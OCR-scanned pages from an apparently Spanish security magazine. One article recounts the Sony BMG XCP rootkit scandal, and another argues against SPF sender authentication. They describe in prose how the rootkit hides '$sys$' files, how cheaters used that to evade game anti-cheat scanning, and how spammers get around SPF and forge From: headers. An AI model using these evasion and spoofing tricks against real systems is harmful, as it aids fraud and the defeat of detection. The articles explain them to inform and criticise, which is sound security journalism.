en el rootkit es larga. En primer lugar, el soft-

g
En este articulo aprenderas...

* qué es el rootkit de Sony y qué riesgos repre-
senta,

* qué errores cometio esta empresa y para quién
han sido de interés,

* qué es el quinto poder de Internet.

Lo que deberias saber...

» deberias poseer conocimientos basicos de
DRM (Digital Rights Management).




Detalles acerca del rootkit de Sony

Van Zant afectado

por el rootkit

Elgrupo Van Zant, cuyo disco infecté con el rootkit el ordenador de Mark Russinovich,
es una de las principales victimas. Aunque no tiene ninguna relacion directa con
el rootkit de Sony, los consumidores castigaron duramente a este grupo de contry-
rock. Los comentarios de los clientes de Amazon.com no dejaban lugar a dudas:
una sola estrella de cinco posibles. La media de mas de 250 votos realizados al
momento de escribir este articulo no era mucho mejor.

Lo mas interesante es que en el texto de los definitivamente negativos comen-
tarios era comun ver disculpas dirigidas al grupo. La baja calificaciéon no era una
critica a la calidad de la musica, sino una expresion de desaprobacién del rootkit
y de la politica de la Sony. Son muchos los internautas que promueven el boicot
dirigido hacia esta compafiia.

Independientemente de las razones de tan baja calificacion, Van Zant tiene ya
otros problemas: en primer lugar, el disco del grupo ya no tiene posibilidades de
venderse y, en segundo lugar, el grupo no podra ganar ni siquiera entre los pocos
fanaticos que les quedan, pues seguramente éstos, para evitarse riesgos, termina-
ran descargandose el album de alguna red peer-to-peer.

Coémo funciona XCP

* Un disco protegido con XCP es multisesién: contiene datos de audio en el for-
mato tradicional, sin proteccion, y un programa que hace uso del mecanismo de
lanzamiento automatico del CD en Windows.

* Una vez introducido el disco al reproductor, el software es instalado sin el co-
nocimiento del usuario (aunque requiere privilegios de superusuario para su
correcta instalacién). Si el usuario oprime la tecla [Shift], el programa no podra
ser instalado y el disco sera tratado como si no estuviera protegido — los datos
de audio pueden ser copiados sin problemas. La proteccion es, por ende, total-
mente inefectiva.

* Los dos elementos dafinos del software instalado son el rootkit y el spyware. El
rootkit oculta todos los ficheros, procesos, directorios, entradas del registro, etc.
cuyos nombres comiencen con $sys$ (estas técnicas no funcionan en modo
seguro). El spyware se encuentra en un directorio ocultado por el rootkit. Una
vez lanzado el programa del CD, el spyware se conecta con la Sony y comuni-
ca qué disco esta siendo escuchado, cuando y desde qué direccién IP ha sido
establecida la conexion.

* Una vez instalado, el programa supervisa constantemente los procesos eje-
cutados por el ordenador (tarea que ocupa alrededor del 1-2% del tiempo de
CPU) en busca de programas de copiado de discos de audio, a fin de afectar
su funcionamiento: si un intento de copia de algun disco (protegido o no) es
detectado, se introduce interferencias en los datos copiados.

» El software no puede ser facil de desinstalar. Todo intento de eliminarlo afecta
la estabilidad del sistema Windows y deja la unidad de CD inservible.

» Dado que todos los ficheros con un nombre caracteristico son ocultados por
el rootkit, éste puede ser utilizado también para ocultar todo tipo de software
maligno creado por terceros, por ejemplo gusanos, virus y troyanos.

* Los diferentes componentes del software instalado tienen nombres que fingen
ser elementos fundamentales del sistema Windows (como por ejemplo, contro-
lador Plug and Play).

» El software de desinstalacién ofrecido por la Sony no hace mas que revelar
los ficheros ocultos — no elimina ningun elemento ni desactiva las funciones de
spyware. Para obtener este software es imprescindible registrarse en el sitio
web Sony, en el que no sélo hay que dejar datos personales, sino que también
exige instalar un control ActiveX. Resulta que este control tiene errores que
permiten a terceros ejecutar codigo arbitrario en el ordenador del usuario (basta
visitar una pagina web preparada especialmente por el intruso para brindarle el
control total del sistema).

www.hakin9.org

ware en los discos de musica de
la Sony BMG modifica el sistema
Windows de manera que el usuario
no se entere de la existencia de un
programa que se comporta como
spyware, es decir, que acumula
y envia a la Sony datos acerca del
usuario. Llama a casa, comprome-
tiendo su privacidad.

Lo peor del caso es que, hasta
el momento en que el problema fue
publicado por los medios interna-
cionales, e incluso algo después,
era imposible eliminar el rootkit
Sony sin afectar la estabilidad del
sistema. Aun mayor descrédito les
trajo el primer parche preparado
por el gigante fonogréfico, el cual
no eliminaba el spyware, sino que
solamente hacia visible el software.
Otro paso en falso fueron las decla-
raciones de Thomas Hesse, de la
Sony BMG, quien el 4 de octubre
afirmé en una entrevista para NPR
que la mayoria de la gente no sabe
qué es un rootkit, por lo que no
hay razoén para que se preocupen
por ello. Este excepcional faux pas
no podia pasar por alto entre los
especialistas y aficionados de la
seguridad de sistemas — el equipo
de F-Secure incluso preparé cami-
setas con la cita textual del gerente
de la Sony: Most people don't even
know what a rootkit is, so why
should they care about it?

Hubo varias otras situaciones
que parecian tomadas de una tele-
novela. Los desorientados clientes
debieron esperar un tiempo mas
bien largo por la lista oficial de
discos CD equipados con el peli-
groso programa (ver Recuadro En
la Red). Cuando al fin la empresa
publicd una herramienta especial
para eliminar el rootkit, lanzada
desde el navegador web, resultd
que ésta dejaba el sistema en un
estado de mayor vulnerabilidad
ante ataques del exterior. Bastante
mayor vulnerabilidad.

La brecha de seguridad dejada
por el pésimamente preparado soft-
ware para Windows permitia instalar
y lanzar cualquier programa en el
ordenador del usuario, desde prac-
ticamente cualquier pagina web. Es
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dificil imaginarse un peor problema
de seguridad.

Los defensores de los
derechos también los

violan

El asunto del rootkit de Sony ha
desacreditado al gigante de, por lo
menos, dos maneras. Dan Goodin,
de Wired, ha reportado que CDex,
un popular programa de conversion
de ficheros de audio a MP3, proce-
sa sin dificultad los discos de la
Sony BMG. Puesto que el software
DRM de la Sony utiliza el mecanis-
mo de lanzamiento automatico del
disco CD, si el usuario oprime la
tecla [Shift] durante su insercion, el
rootkit y el spyware no son instala-
dos y el disco es visto por el siste-
ma como si no estuviera protegido
de manera alguna, lo que permite
copiarlo sin  ningun problema.
Parece, pues, que el software no
solo es dafino para el usuario, sino
también completamente inefectivo
para la empresa.

Ademas, como han informado
numerosos servicios, es posible
que la Sony BMG haya violado la
licencia del codificador MP3 LAME.
Segun DeWinter Information Solu-
tions, el rootkit de marras contiene
fragmentos del coédigo de LAME.
Dado que LAME es distribuido
bajo la licencia LGPL (Lesser Gnu
Public Licence), su uso legal obliga
al usuario a tomar ciertas medidas,
entre las que se encuentra la pu-
blicacion de todo el codigo fuente
(al menos como contribucion a las
librerias open source).

Es también necesario hacer
resaltar en una nota sobre dere-
chos de autor que se ha hecho uso
precisamente de este codigo. Sony
(o su socio) no lo hizo — se limité
a entregar a sus clientes el progra-
ma ejecutable en el disco. En los
ultimos afios hemos sido testigos
de fallos judiciales que han obliga-
do a empresas a publicar su codigo
debido a la violacién de licencias
similares a la LGPL. El caso de
Sony es especialmente irdnico,
pues se trata de un consorcio que
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constantemente hace gala de su
celo en el respeto de los derechos
de autor.

Primero Breplibot,
luego todos los demas
En el momento, en que Mark
Russ-inovich reveld la informacion
que inici6 este escandalo, se hizo
evidente que tarde o temprano al-
guien querria utilizar el rootkit para
fines propios. En efecto, ya el 10 de
octubre Kaspersky Lab reportaba
la utilizacion del programa XCP
por un gusano, clasificado por la
empresa como Backdoor.Win32.B
replibot.b.

Poco tiempo después, comen-
z6 a observarse su envio masivo
— Breplibot llega al ordenador en
forma de mensaje de correo elec-
trénico, casi siempre con el titulo
Requesting Photo Approval y con
un fichero anexo: article_decem-
ber_3621.exe.

The Register reporté a su vez
un uso interesante del rootkit por
parte de los crackers. Gracias
al facil enmascaramiento de una
parte de los procesos del siste-
ma, los crackers que rompen las
reglas del juego World of Warcraft
pueden evitar ser detectados por
la Blizzard Entertainment. Si un
usuario cambia el nombre del pro-
grama que permite hacer trampa
a $sys$nombredelprograma, el es-
caner de la Blizzard ya no es capaz
de descubrir el engafio.

Dan Kaminski, especialista
independiente de seguridad de
redes radicado en Seattle y uno de
los hackers mas famosos, utilizé la
técnica DNS snooping para com-
probar el numero de servidores
DNS cache que habian sido inte-
rrogados sobre la direccion sim-
bdlica con la que el spyware de la
Sony se comunica. En base a estos
datos estimo6 que a través de 568
mil servidores DNS cache fueron
realizadas consultas relacionadas
directamente con el rootkit. Ka-
minski ha publicado los resultados
de su analisis en el sitio web de
Doxpara Research (ver Recuadro
En la Red).
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En el momento en que este arti-
culo fue escrito no se conocia aun
la cantidad exacta de infecciones,
pero se estimaba que podia ser
considerablemente mayor que la
extrapolacion hecha por Kaminski.
Analdgicamente, es casi seguro
que aun veremos versiones mas
inteligentes de Breplibot u otros
virus que se aprovechan del rootkit
de la Sony.

Accion retardada

Los anélisis preliminares conster-
naron a Bruce Schneier, una de
las autoridades mas reconocidas
a nivel mundial en asuntos de se-
guridad de sistemas informaticos.
Schneier subraya que la escala del
problema recuerda la epidemia de
Blaster, Code Red o Nimda. En un
texto publicado en Wired, Schneier
critico duramente a las empresas
de antivirus por su tardia respues-
ta, ya que, en su opinién, el rootkit
debi6é haber sido descubierto mu-
cho antes.

Lo peor es que, incluso des-
pués de que esta informacion fuera
publicada en el blog de Russino-
vich y se hiciera alboroto en torno
a ella, las reglas de deteccién de
codigo fueron afadidas apenas
dias, e incluso semanas, después.
Peor aun fue el asunto de la desins-
talacion. Schneier elogié solamen-
te a dos empresas: Sysinternal
y F-Secure, las cuales verdadera-
mente lo merecian.

Schneier hizo también una
critica severa de Microsoft, por su
falta de reaccion rapida y decidida
al problema. Como recordaremos,
XCP modifica de manera des-
favorable el sistema Windows;
en algunos casos puede incluso
ocasionar errores y hasta el reini-
cio del ordenador. Podria parecer
que la seguridad y comodidad de
uso de un producto propio son en
si mismas una prioridad, pero no
fue hasta el 13 de octubre que el
grande de Redmond declar6 estar
preparando una actualizacion de
su software dedicado a la elimi-
nacion de tales riesgos. El 13 de
octubre se cumplian exactamente
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dos semanas de la publicacién de
Russinovich.

Nadie se imaginaba que una
epidemia podia ser desencadena-
da por un simple disco CD, pero
— segun Schneier — una infeccion
de ordenadores realizada por una
via fuera de Internet no justifica
a los especialistas en seguridad
que habrian debido detectar el
riesgo. ¢Quién si no ellos podria
preverlos? El problema parece ser
bastante serio: por una nueva e in-
esperada via, acompafiados de los
agradables sonidos de los discos
de marca Sony, han sido infectados
ordenadores en redes de gobier-
nos y ejércitos. Posiblemente sdlo
americanos, posiblemente no.

EFF apoya y no
perdona

Probablemente, yodos los errores
y la arrogancia de la Sony termi-
nen de la manera que seguramente
esperan sus usuarios y que, pro-
bablemente, sera también la mejor
para ellos. El consorcio ha sido de-
mandado por numerosas institucio-
nes, sobre todo estadounidenses,
entre ellas la Electronic Frontier
Foundation (EFF), quizas la orga-
nizacién mas influyente de protec-
cion de los derechos y garantias
ciudadanas en Internet. Entre sus
directores se encuentra Lawrence
Lessig, profesor de derecho y autor
del conocido libro Cultura Libre.

La EFF ha movilizado su ar-
tilleria pesada: desde limitacion
por parte de la Sony BMG de las
posibilidades de los consumidores
de utilizar su musica, pasando por
espionaje de las preferencias del
cliente e instalacion de ficheros
ocultos en su ordenador, hasta uso
ilegal de la potencia de calculo de
éste (el programa utiliza siempre
un 1-2% del tiempo de procesador,
incluso cuando no se esta reprodu-
ciendo ningun disco CD de la Sony
BMG).

Sin embargo, las acusaciones
mas serias comprenden la supe-
ditacién del uso del producto a la
aceptacion de condiciones inne-
cesarias y excesivas establecidas

en la licencia de usuario final (End
User License Agreement) y dafos
y perjuicios del consumidor debido
a potenciales ataques por parte
de terceros capaces de aprovechar
la presencia del rootkit en su orde-
nador.

La Electronic Frontier Founda-
tion observa también con interés
el programa MediaMax, afiadido
a mas de 20 millones de discos
del consorcio Sony BMG. Segun
la fundacioén, también en este caso
han sido vulnerados los derechos
civiles. El software se instala en los
ordenadores de los usuarios inclu-
so cuando éstos eligen la opcion
no en la licencia de usuario final,
ademas de no proveer opciones de
desinstalacion.

Otra acusacién es la comu-
nicacion de datos acerca de las
preferencias musicales del usuario,
aunque la licencia informa que el
programa no lleva a cabo ninguna
operacion de este tipo. Parece
pues, que el consorcio esta en ver-
daderos problemas.

El quinto poder,

o sea nosotros

En todo este asunto hay algo aun
mas interesante: una vez mas se
ha hecho evidente la fuerza del
blog como medio de comunicacion
de informaciones importantes para
la comunidad. El blogger siempre
estda donde el reportero no llega
0, por lo menos, no llega prime-
ro. Los estudios del Pew Internet
& American Life Project demuestran
que ocho de cada diez reporteros
estadounidenses lee blogs. Estos
se han convertido para los medios
tradicionales en verdaderas guias
de todo lo relevante que ocurre en
Internet. Son el simbolo de un poder
naciente: llamado tambien el quinto
poder.

El escandalo del rootkit de la
Sony y del blog de Mark Russinovi-
ch demuestra claramente el poder
de este medio de comunicacion.
Algunos comentaristas han sefala-
do que ciertas informaciones poco
detalladas sobre irregularidades en
el programa XCP estaban ya dispo-

nibles en diversos foros Internet.
Sin embargo, fue el blog de Russi-
novich el que trascendio la Internet
y ocasion6 un verdadero terremo-
to. Ya es, pues, hora de que todos
a quienes interesa la propagacién
libre de conocimientos valiosos
— incluyendo temas dificiles o poco
populares, como por ejemplo las
vulnerabilidades de software — nos
demos cuenta de la gran fuerza de
que disponemos.

Las redes de interrelaciones
entre blogs fidedignos y servicios
de informacion basados en la
sindicacion RSS han dado forma
a un nuevo periodismo civil, mas
especializado y con una velocidad
de reaccion a veces mucho mayor
que la del tradicional. Un excelente
ejemplo de esto fueron las transmi-
siones independientes desde Nue-
va Orleans del paso del huracan
Katrina.

Los internautas deben estar
activos y despiertos, no solo alli
donde acontece algo importante,
sino muy especialmente donde
por una u otra razén alguien trata
de hacerlos callar. De la existencia
de tales presiones saben tanto los
autores de sitios web que han to-
mado una posicion critica respecto
a los nuevos presidentes de ciertos
paises, como los colaboradores
de servicios Internet en los que
se publican vulnerabilidades de
software. Aunque puede resultar
extrafo, el problema es el mismo
en ambos casos. Lo es también el
remedio: la cooperacién en pro de
una causa justa.

Howard Rheingold, filésofo,
sociologo y visionario de la era In-
ternet, autor de un famoso libro The
Virtual Community y Smart Mobs,
entre otras obras reconocidas,
esta convencido que las tecnolo-
gias inalambricas traeran consigo
una verdadera revolucién social.
Segun ha escrito, en las protestas
del 2001 en las Filipinas, las cua-
les contribuyeron decisivamente
al derrocamiento del presidente
Estrada, sus participantes se co-
municaban por SMS. @
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La autenticacion del
remitente — proteccion

O dmeéenaZa

Tomasz Nidecki ;

Grado de dificultad
o

| hecho de que el protocolo SMTP y el
E sistema completo de correo de Internet

no estén en absoluto preparados para
afrontar las amenazas diarias, no es nada
nuevo. Todo el que trabaje en profundidad con
el correo electronico sabe que un sistema que
tenga como propésito darle mas seguridad
a este protocolo no es méas que un parche mal
puesto, y que la Unica manera de ganar la gue-
rra al spam, al phishing, a los joe-jobs y demas,
es creando un nuevo protocolo de e-mail.

Sin embargo, la experiencia en la im-
plantacion de cambios fundamentales en la
infraestructura de Internet ha llevado a una
situacién limite a todas las partes implicadas.
No sélo es dificil llegar a un acuerdo respecto
a las soluciones que tomar, sino que cuando
se ha ideado alguna buena solucion, es casi
imposible poner a todos de acuerdo. El DNS-
SEC es un buen ejemplo. A pesar de que el
protocolo DNS no es seguro y necesita de
una revisién general, se ha tenido muy poco
éxito al intentar introducir alternativas mas
seguras.

No es de extrafiar que se hayan concebido
varios parches para solucionar la seguridad del
protocolo SMTP, entre ellos la autentificacion
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( Como el spam, el phishing y los joe-jobs son cada vez mas
peligrosos para la comunidad de Internet en su totalidad;
la autenticacidon del remitente ha pasado a ser un aspecto
importante en el correo electrénico. Sin embargo, las soluciones
que se han aplicado, a manera de parche de mala calidad, al
protocolo SMTP, que es célebre por su inseguridad
e imperfeccion, estan produciendo nuevas amenazas,

@ en lugar de solucionar el problema en cuestion.

del remitente es la solucién clave. Si embargo,
las organizaciones y compafias que realizan
esfuerzos como gato panza arriba, actuando
rapidamente para erradicar el abuso, y hacien-
do necesario actualizar todos estos mecanis-
mos durante una transicion tan pausada como
sea posible, no piensan en las consecuencias
que podrian producirse.

SPF - el bueno,
el malo y el feo

SPF es una solucién de autentificacion del
servidor que no sélo se ha ganado una enor-

p
En este articulo aprenderas...

* qué estrategias de autenticacion del remitente
se estan desarrollando y poniendo en practica,

* por qué la autenticacion del remitente no debe
ser utilizada hasta que no se encuentre una
solucion inteligente.

Lo que deberias saber...

* lobasico sobre el protocolo SMTP y el correo de
Internet.




Los pros y los contras de la autenticacion del remitente

Por qué SPF es perjudicial

Se supone que SPF protege contra la falsificacién de la direccion del remiten-
te. Sélo protege la direccion del remitente de la cubierta, no la direccién del
encabezado rrom:. Los Clientes de Correo de Usuario tales como el Outlook
Express muestran solo la direccion desprotegida. Por lo tanto, los usuarios adn
se encuentran desprotegidos y engafados ante los joe-jobs, la falsificacion, el
phishing y otros timadores.

Se supone que SPF protege contra el spam. Una encuesta del CipherTrust
de 2004 demuestra que hay mas correo que proviene de servidores protegi-
dos por SPF en dominios con registros SPF, que de dominios que no tengan
semejantes registros. Los spammers han adoptado SPF e incluso lo utilizan
mas que los sitios legitimos para asegurarse de que llega spam al buzén de
correo.

SPF rompe con muchos estandares de Internet. No tiene en consideracién el
reenvio pre-entrega (y se ha usado un esquema llamado SRS para contrarres-
tarlo que esta muy lejos de ser perfecto). Esta basado en un protocolo (DNS)

vulnerable, que permite engafiar a los registros SPF.
» SPF no es una proteccién efectiva contra el spam o las suplantaciones. Hace
mas dificil la comunicacion. ;Por qué utilizarlo entonces?

J

me popularidad, sino que también
ha sido puesta en pratica con fre-
cuencia, y ahora la utilizan grandes
y famosos servidores de correo. El
término base para esta abreviatura
fue Sender Permitted From, pero
con la poularidad del proyecto
este cambié a Sender Policy Fra-
mework.

La idea de SPF es bastante sen-
cilla. Un método que fue concebido
para que los servidores de correo
supieran si un servidor determina-
do, que intentara trasmitir correo
con una direccidon especifica de
un remitente en la cubierta, estaba

realmente autorizado a utilizar el
nombre del dominio en esta direc-
cién. Los spammers se han pasa-
do afos utilizando direcciones de
remitente falsas, a menudo siendo
cuentas falsificadas existentes
0 no, en grandes servicios de
correo gratuito como Yahoo! o
Hotmail. El protocolo SMTP hace
que estas falsificaciones sean muy
sencillas, pues todo spammer ne-
cesita proporcionar una direccion
de remitente cualquiera y el correo
sera aceptado por el receptor.

SPF es un método basado en la
infraestructura actual del DNS. Los

N

Qué riesgo corre el ISP con el uso de SPF

Todas las cuentas de correo que utilizan el reenvio pre-entrega no recibiran
nada. Nadie que utilice el reenvio pre-entrega sera capaz de comunicarse con
tu servidor (al menos que empleen el SRS, que esta interrumpido). Los adminis-
tradores de los servidores de correo de reenvio se enfureceran y te pondran en
la lista negra. Tus usuarios se enfadaran y elegiran otra ISP, pues sus amigos no
podran comunicarse con ellos.

Si rechazas el correo proveniente de dominios que no tienen registros SPF,
pues bueno, se perdera casi la mitad del correo destinado a tu servidor. Los
administradores de los servidores de correo sin registro SPF se enfureceran
y te pondran en la lista negra. Tus usuarios se enfadaran y escogeran otra
ISP.

A través de SPF estaras enviando un mensaje a todo el que esté alrededor
diciéndole: si quieres comunicarte conmigo, acepta estas condiciones... Esto,
en definitiva, no ayudara a tu negocio.

Los otros administradores de correo estaran descontentos, tus usuarios tam-
bién lo estaran, y no habras resuelto el problema del spam o scam que llegue
a tu servidor. Perderas mucho y no ganaras nada.

www.hakin9.org

registros DNS de un dominio deter-
minado contienen la informacion
sobre qué servidores estan auto-
rizados para utilizar este dominio
en las direcciones de envio. Este
enfoque parece logico. Un usuario
de Hotmail probablemente enviara
su email a través de un servidor
SMTP de Hotmail y no desde un
servidor SMTP de Yahoo! (aunque
no hay una razén logica por la que
no podamos utilizar un servidor de
Yahoo! con este propésito). La uti-
lizacion de la infraestructura DNS
hace que sea facil la puesta en
practica de SPF, pues no precisa
de mecanismos adicionales.

SPF detecta con bastante precision
un gran numero de falsificaciones
de remitente. Si un dominio publica
sus datos SPF, y el receptor utiliza
SPF para comprobar la autenti-
cacion del remitente, este ultimo
no recibird correo con el nombre
del dominio falsificado en la cu-
bierta. Si, por ejemplo, eBay tiene
un registro SPF para ebay.com
(y asi es), y un phisher intenta
enviar un sefiuelo al servidor de
correo nowhere.com, protegido
por SPF (por ej. comprueba si el
remitente esta autorizado para uti-
lizar una direccion determinada),
ningun usuario de nowhere.com
recibira sefiuelos de phishing con
una direccién del remitente falsa de
ebay.com en la cubierta.

Sin embargo, se puede avisorar
plenamente que este esquema solo
tendra éxito si todos los dominios
que se utilicen en el intercambio
de correo en Internet publican sus
registros SPF, y solo si todos los
servidores de recepcion SMTP com-
prueban la autorizacion SPF. Sin
embargo, no todos los administrado-
res de dominios son conscientes de
la necesidad de usar SPF (e incluso,
de aquellos que son conscientes, no
todos quieren utilizarlo), y no todo el
software SMTP es capaz de utilizar
SPF para la proteccion del correo.
Hay soluciones que amplian las
capacidades de los servidores de
correo utilizados actualmente, pero
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en muchos casos estas son par-
ches, proxies o herramientas com-
plementarias, pero no son funciones
integradas. Esto hace que el trabajo
del administrador se complique un
poco mas cuando pone en practica
la proteccion SPF.

Todo esto hace que SPF sea
bastante ineficaz en cuanto a la eli-
minacion de direcciones de correo
falsas, y la idea subyacente se basa
en un enfoque erréneo: para estar
protegidos todos tendrian que utili-
zar SPF, y ningun otro mecanismo.
Y SPF no es ni siquiera un patron de
Internet.

En realidad SPF no protege a usua-
rios finales contra la falsificacion.
No protege en absoluto contra los
joe-jobs o el phishing. La razén es
sencilla. El usuario final de software
(MUAs, Mail User Agents) visualiza
la direcciéon del remitente utilizan-
do los contenidos del encabezado
rrom:, NO el remitente en la cubierta
(que permanece en el encabezado
Return-Path: del correo recibido).
Un scammer puede suministrar una
direcciéon de remitente valida en la
cubierta y una direccion rrom: falsa
en la parte del correo que corres-
ponde a los datos (por ejemplo:
support@citibank.com). Un servidor
de correo protegido por SPF se vera
forzado a aceptar este correo. Si
no, rechazaria también automatica-
mente todo el correo de las listas de
mailing. Y el usuario final aun puede
ver la direccién falsa en su Outlook
Express, por ejemplo.

El otro problema que hay con
SPF es el hecho de que fue pensado
originalmente como una herramienta
anti-spam, es altamente ineficaz
contra el spam, y ni siquiera debe
mencionarse como medida anti-
spam. Es una medida anti-engafio
que se supone que protege al due-
fio de un dominio para que este no
sea utilizado con malos propdsitos.
Puede evitar que al receptor le entre
correo con direcciones falsas (s6lo
de direcciones con remitentes en
la cubierta). Sin embargo, esto no
evita ni evitara que los spammers
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le dan la vuelta al SPF

registro SPF.

&

Coémo los spammers y scammers

* El spammer: encuentra cualquier dominio sin registro SPF. La utiliza en la
direccion del remitente en la cubierta. La protecciéon SPF es inutil, ya que la
mayoria de los servidores protegidos por SPF aceptan correo de dominios sin

+ El spammer: envia tu correo con la direcciéon <> del remitente en la cubierta
(debe ser aceptada de acuerdo con el RFC).

« El spammer: compra un dominio para ejecutar-spam por $8, utiliza un provee-
dor gratis de DNS, publica un registro SPF para el dominio, y ejecuta el spam.
Toda la proteccion SPF es ineficaz.

» El scammer: encuentra un dominio sin registro SPF, suministra una cuenta fal-
sa desde ese dominio en la direccién del remitente en la cubierta, coloca una
direccion falsa en el encabezado rFrom: (por ejemplo support@citibank.com).
El usuario final solo vera la direccién falsa.

llenen de basura nuestras bandejas
de entrada.

Para entender el por qué, debe-
mos observar primero en qué estado
aparece la utilizacién de SPF. Vamos
a ser optimistas, en favor de este
articulo, y supongamos que el 50%
de todos los dominios utilizados en
el intercambio de correo en Internet
publican los datos SPF (aunque era
casi el 10% en aquel momento, las
cifras del CipherTrust de finales de
2004 demostraron que solo el 5%
de los dominios remitentes publican
un registro SPF) y que el 50% de los
servidores de correo estan protegi-
dos por SPF.

Los servidores protegidos deben
elegir entre dos enfoques diferentes
para los dominios que aun no hayan
publicado su registro SPF. Estos po-
drian aceptar el correo proveniente de
tales dominios o rechazarlo. Ya que la
otra mitad de los dominios (de acuer-
do con nuestros calculos optimistas)
no publican tales registros, es logico
que si el servidor protegido rechaza el
correo de dichos dominios, se arries-
ga a que se pierda la mitad de su co-
rreo. Ningun servidor de correo puede
permitirse esto, y y no esta bien forzar
a nadie a que publique un registro
SPF para poder comunicarse.

Esto confronta por completo
con la idea de un correo en Internet
y hace que SPF se convierta en mo-
nopolista. También hay que recordar
que todo esto esta basado en nues-
tras previsiones optimistas; en reali-
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dad, rechazar el correo que proviene
de dominios sin registro SPF seria
un suicidio para un administrador del
servidor de correo — este también
podria desconectar por completo
el servidor. Asi que asumamos que
se aplica el otro enfoque y el correo
de un dominio sin registro SPF es
aceptado.

Ahora es extremadamente sen-
cillo para un spammer enviar correo
spam a dicho servidor. Todo lo que
necesita es encontrar un dominio
cualquiera que no tenga registro
SPF y utilizarlo en la direccion del
remitente. Este correo sera acep-
tado por el servidor de correo. Otra
cosa que deberia hacer un spammer
es utilizar una direccion especial <>
del remitente en la cubierta, que
debe aceptarse segun el RFC (y que
no contenga nombre de dominio en
absoluto). Lo ultimo que deberia ha-
cer un spammer es comprar un do-
minio y publicar un registro SPF para
este, permitiendo asi que todos lo
utilicen con el proposito de falsificar
direcciones de remitente. La antes
mencionada encuesta del Cipher-
Trust de 2004 ha demostrado que
aproximadamente la mitad de todo
el correo que recibian los servidores
protegidos por SPF provenientes de
dominios que publican registros SPF
eran... jprecisamente spam!

Hemos revisado con claridad cémo
SPF puede ser efectivo en la pro-
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teccion de un modelo (menos falsi-
ficaciones de dominio para aquellos
que publican un registro SPF)
y es completamente ineficaz para la
proteccién contra el spam. Sin em-
bargo, hay inconvenientes realmente
alarmantes en el uso de SPF que un
administrador de servidor podria de-
tectar tan sélo con mirar los registros
de rebote.

El problema méas grave de SPF
es que rompe por completo con la
idea del reenvio pre-entrega (ver
la explicacion en la Figura 1). El
reenvio ha sido durante afios una
caracteristica propia de practica-
mente cada servidor de correo.
Cada servidor de correo protegido
con SPF puede rechazar el reenvio
de correo, al menos que el dominio
utilizado para reenviar publique un
registro SPF permitiendo a todos
que utilicen ese dominio como
direcciéon del remitente. Y si este
dominio publica semejantes datos
puede utilizarse libremente por los
scammers y spammers, lo que redu-
ce la efectividad de SPF y se arriesga
a ser incluido en las listas negras de
algunos servidores.

La mayoria de las cuentas de
correo actualmente permiten a sus
usuarios que utilicen el reenvio o re-
direccion. Es légico — por qué recibir
correo desde diez cuentas de correo
diferentes, si todo el correo puede
ser remitido a una direccion. Muchas
compafiias basan sus servicios en la
compra de dominios atractivos y per-
miten asi a los usuarios que se regis-
tren para obtener direcciones gratis,
ofreciendo redireccionamiento de
correo. Esto también es légico, pues
los recursos necesarios para ofrecer
una direccién de correo electrénico
gratis y atractiva son menores que
aquellos que se requieren para con-
figurar cuentas de correo electrénico
gratuitas de plena capacidad. Por
lo tanto, SPF significa la muerte de
una enorme seccion de negocios de
Internet.

Se ha propuesto el uso de un
conflictivo modelo llamado SRS
(Sender Rewriting Scheme) para
contrarrestar este problema — pero
es un parche roto para otro par-

mail.thepooh.com

dns.thepooh.com

Winnie the Pooh envia un email desde
su cuenta privada en thepooh.com a la
direccion de Tigger, que esta
configurada en un servidor con reenvio
de correo para todos los residentes en
El Bosque de los Cien Acres
hundredacrewood.net.

El servidor DNS autorizado para
thepooh.com es dns.thepooh.com.
Este publica un registro SPF para
este dominio, el cual establece que
el Unico servidor de correo al que se
le permite enviar correo con

el thepooh.com en la direcciéon

del remitente es mail.thepooh.com

Remitente: winnie@thepooh.com
Receptor: tigger@hundredacrewood.net
Servidor de Envio: mail.thepooh.com

mail.hundredacrewood.net

El email de Winnie es recibido

en la cuenta de Tigger en el servidor
de redireccionamiento en
hundredacrewood.net.

La cuenta se configura para ser
redireccionada a la cuenta de correo
privado de Tigger en bouncing.org.

Remitente: winnie@thepooh.com
Receptor: tigger@bouncing.org
Servidor de Envio: mail.hundredacrewood.net

mail.bouncing.org

El correo reenviado es recibido en el
servidor MX protegido por SPF

para bouncing.org. El remitente es
winnie@thepooh.com, pero el servidor
que conecta e intenta enviar el
mensaje es mail.hundredacrewood.net.
Sin embargo, el registro SPF para
thepooh.com no permite que servidores
diferentes a mail.thepooh.com envien
correo con el dominio thepooh.com en la
direccion del remitente.

!El correo legitimo es rechazado!

Pregunta: ;esta autorizado
mail.hundredacrewood.net a enviar correo con
la direccion del remitente en tu dominio
(thepooh.com)?

Respuesta: no, no lo esta.

Figura 1. Por qué SPF interrumpe el reenvio pre-entrega

che mal puesto. Este esquema
sugiere que cuando se hace un
redireccionamiento, la direcciéon del
remitente en la cubierta debe ser
reescrita de tal manera que se
preserve la informacién del remi-
tente original (y se recupere con el
rebote), pero el nombre del dominio
es el del servidor de redirecciona-
miento. Segun ejemplo, si un ser-
vidor de correo nowhere.com esta
redireccionando el correo desde
joe@somewhere.net, la direccion
del remitente en la cubierta rees-
crita por el SRS se convertiria en
algo como SRSO=informacion_
parasita=marca_de_tiempo=som
ewhere.net=joe@nowhere.com.
Con un par de redireccionamientos,

seria rapidamente demasiado largo
para el SMTP estandar (64 carac-
teres en la parte local, de acuerdo
con el RFC 2821) y seria rechazado
por muchos servidores de correo,
ademas le exigiria a cada servidor
SMTP de reenvio que pusiese en
practica el SRS para poder redirec-
cionar a los servidores protegidos
por SPF.

Hay aspectos aun mas alar-
mantes en el uso de SPF. Este se
apropia de un tipo de registro de
dominio existente que ha sido con-
cebido para otros propodsitos. No
es compatible con el RFC 1123, el
RFC 974 y el RFC 2821. Complica
la vida de los usuarios de conexion
movil internacional, pues se ven
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forzados a utilizar el servidor SMTP
de la ISP, en lugar de utilizar el su-
yo propio, el servicio local SMTP
u otro SMTP de su eleccion. Depen-
de de un servicio poco seguro (que
el DNS no es seguro es un hecho
reiteradamente probado), asi que
la informacion SPF también puede
ser falsa y permitir la falsificacion
del dominio (por ejemplo a través
de un ataque de envenenamiento de
DNS). Es discriminatorio, arriesgado
e introduce un monopolio. jY lo que
es peor, los administradores de los
servidores de correo, atraidos por la
publicidad exagerada de los medios,
lo adoptan antes de pensar en ello
con detenimiento!

Asi que la conclusion es: no
utilices SPF. Hasta que se encuen-
tre una solucion inteligente para la
autentificacion del remitente, todos
nos vemos forzados a vivir con la
inseguridad del protocolo de correo
SMTP. Pero el empleo de SPF es lo
que haria un doctor que le cortara la
pierna a un paciente porque le pica-
ron muchas abejas en el pie.

El futuro y las
alternativas

El futuro no se muestra muy brillante.
